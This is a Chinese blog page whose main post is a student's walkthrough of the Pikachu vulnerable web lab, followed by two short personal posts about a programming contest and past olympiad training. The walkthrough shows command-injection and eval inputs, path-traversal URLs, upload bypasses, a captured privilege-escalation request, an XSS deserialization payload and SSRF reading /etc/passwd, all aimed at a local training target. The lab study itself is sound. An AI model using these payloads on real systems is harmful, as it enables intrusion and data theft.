现在我们百度一下PHP提取网页内容和PHP正则匹配,然后用这些知识编写一个php出来
然后就发现很难在PHP中获取cookie,导致获取的网页内容是没有登录的
所以暂时搞不定这个……
先学别的,学完回来继续搞这个
---------------------------------------
SQL-inject
---------------------------------------
---------------------------------------
RCE
---------------------------------------
exec "ping":
貌似是一个ping函数
考虑在cmd中执行ping是 ping xxx.xxx.xxx.xxx
那我们利用一点小技巧,在文本框中输入 1 | time
显示了当前的时间,说明没有过滤
本题结束
---------------------------------------
exec "evel":(我怀疑造pikachu的人打错字了,这个明明是eval)
提交一个字符串,然后报错
去百度一下错误原因,发现是eval的东西要符合php格式
那我写个echo "hi";
就出现了hi
本题结束
---------------------------------------
File Inclusion
---------------------------------------
File Inclusion(local):
我们发现这是一个看球星的网页,可以通过选择球星提交查询看资料和图
于是,我们观察地址栏,有个filename=
于是我们换点东西写进去
filename=../../../index.php
看到了整个主页被包含
本题结束
---------------------------------------
File Inclusion(remote):(未解决)
显示我的php.ini没启用allow_url_include
好吧,下次启用了再试试这个漏洞
---------------------------------------
Unsafe Filedownload
---------------------------------------
Unsafe Filedownload:
观察发现网址格式为http://localhost/pikachu/vul/unsafedownload/execdownload.php?filename=XXX.png,似乎没有过滤
那么我们构造http://localhost/pikachu/vul/unsafedownload/execdownload.php?filename=../down_nba.php
发现可以下载本页面
本题结束
---------------------------------------
Unsafe Fileupload
---------------------------------------
client check:
提示只能传图。
那么我们试着传别的东西,发现刚刚一选择就提示不符合要求。还没传上去,怎么知道不符合呢?八成是本地验证。
观察源代码,发现了checkFileExt的函数,我们删了这个东西,然而还是传不上去,看上去就和没有删除一样,推测是script已经被加载进去了
用firefox,提示重新发送表单,那我们就不发送就行,于是成功上传非图片
本题结束
---------------------------------------
MIME type:
听题目名知道方法
用Burpsuite抓上传数据包,更改Content-type为Content-Type: image/jpeg
本题结束
---------------------------------------
getimagesize:(未解决)
函数存在问题,通过判定文件头决定是否为图片,显然不靠谱
那我写一个php,然后用010 Editor改下文件头,就能成功上传
不过这个东西没法正常被解析,因为后缀名做了判断。
利用nginx解析漏洞即可执行,可惜我是apache服务器所以不行。
那就先跳过
---------------------------------------
Over Permission
---------------------------------------
水平越权:
先看下提示,给了三个帐号
我们登陆一下kobe的账号,发现可以看自己的信息
观察地址栏,发现名字是明文直接传的
把username改成lili,于是就能看别人信息了
本题结束
---------------------------------------
垂直越权:
先看提示,给了两个账户,一个低权限一个高权限
分别登录一下,发现普通用户只能看,而高级用户可以加新的用户
那么我们先随便加一个用户,用burpsuite看下过程
POST /pikachu/vul/overpermission/op2/op2_admin_edit.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost/pikachu/vul/overpermission/op2/op2_admin_edit.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
DNT: 1
Connection: close
Cookie: PHPSESSID=bj0a33dn51c0dqb4p19ocvhg9k
Upgrade-Insecure-Requests: 1

username=hahaha&password=123456&sex=h&phonenum=h&email=h&address=h&submit=%E5%88%9B%E5%BB%BA
是用POST发包
于是,我们观察一下,发现貌似没有权限判断的过程(除了一个cookie)
试试在普通用户的视角,看看能不能直接发包加用户
打开hackbar,模仿这个包进行发包
发完后我们再用普通用户登录下进行观察,发现果然成功了
本题结束
---------------------------------------
../../
---------------------------------------
目录遍历:
我们打开网页,发现两个超链接
随意点击一个,然后就看到了一段文字
注意此时网页地址栏显示的是dir_list.php?title=truman.php
我们改写一下,改成dir_list.php?title=../../../../index.php
成功显示了原来主页(pikachu上一级的)内容。
本题结束。
---------------------------------------
敏感信息泄露
---------------------------------------
IcanseeyourABC:
是个登录框
看下源代码,发现测试账号lili/123456
然后登上去
发现王小波的一段话,好像这个题就没了
---------------------------------------
PHP反序列化
---------------------------------------
PHP反序列化漏洞:
这题给了payload
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
如果没给,这题除了看php代码没什么好办法,因为不知道序列化的对象名称和变量
本题结束
---------------------------------------
XXE
---------------------------------------
---------------------------------------
URL重定向
---------------------------------------
不安全的URL跳转:
注意到链接形式为http://localhost/pikachu/vul/urlredirect/urlredirect.php?url=xxxx的形式
那么我们就可以通过改后面的地址随意跳转了
本题结束
---------------------------------------
SSRF
---------------------------------------
SSRF(curl):
这题是地址的问题
那么我们在地址http://localhost/pikachu/vul/ssrf/ssrf_curl.php?url=xxxx随意把xxxx进行更改,就能显示对应网页
具体用法是有个外网服务器,然后让服务器访问这个外网服务器然后获取cookie之类的东西
本题结束
---------------------------------------
SSRF(file_get_content):
获取文件内容
直接和上题相似,输入文件的地址就行
常见的有输入/etc/passwd之类的,类似文件包含
本题结束
 
 
未完待续~

 

Category: CTF | Tags: CTF
3
30
2019
0

CCCC2019参赛感想

今天我参加了CCCC2019(团体程序天梯赛),头一次代表HIT参赛(虽然有3个队),写点感想。

早上八点多起来,九点多搭上一班公交赶到一区,差点迟到(9:40集合),赶到之后就和大佬们一块坐地铁到哈理工了

到了哈理工之后拍照吃饭,上的菜太多根本吃不完,不过月底没钱,这种免费蹭饭机会不能错过

然后就考试了……从L1-1一直做到了L1-7,十分顺利

然后就是坑爹的L1-8,字符串题,调了30min以上……

最后剩一小时了,赶快赶L2的题,做了L2-1 L2-3 L2-4,还剩20min

看了5min的L2-2和L3-1的题,感觉L2-2就是个裸的哈希+倍增LCA,赶快写

时间到了,我哈希部分倒是写完了,LCA没写于是没办法,手速太慢了

最后和几个大佬搭乘地铁回了一区,吃了顿饭之后回二区,比赛就结束了……

最后搞了175分,不是特别满意,不过这场比赛能拿满分的吉利大爷是真的强——orzorzorz

后面还有四省赛,估计也能去蹭饭,不知道到时候会不会有所提升

Category: 随笔 | Tags: 比赛 随笔
11
21
2018
0

一些思考

进入大学也有两个半月了。这段时间天天被莫名其妙的事情笼罩着,每天疲于奔命在教室-寝室(我学习主要地点在寝室而不是自习室图书馆)。睡眠情况极不规律,有时候下午一睡不起,夜里精神抖擞。
沉思了一下OI的惨重失败。仔细想一下,我当年主要有几个问题:一个是大赛恐惧症,还有一个是对算法的使用和思维能力很不过关。第一点使得我在NOIP比赛中屡屡爆炸,却能在本校的省选模拟中取得还可以的成绩;第二点则使我知道算法后的代码能力很强,但在面对新题目的分析能力严重下降。我在同学中做题算是很多的了但是成绩却很差,原因有很大部分在此。
虽然这个博客由于长期不更新应该没多少人看了,但是对于后来的OI选手,我想说:分析能力极为重要。有的时候国内OI题没有这些,所以可以练习POI的题,同时尽量做到不依靠题解。思维能力靠POI,代码能力靠各种模板/大模拟,科技靠集训队论文(一般而言不会在省选之前出现这类题)。
也许这样就可以提高能力了吧……如果能回到过去,我一定会加强思维;当年我做模板题十分熟练,但是一旦不那么模板的题目就会炸。希望新的OIER能吸取我的教训。毕竟,长江后浪推前浪……
Category: 随笔 | Tags: 随笔

Host by is-Programmer.com | Power by Chito 1.3.3 beta | Theme: Aeros 2.0 by TheBuckmaker.com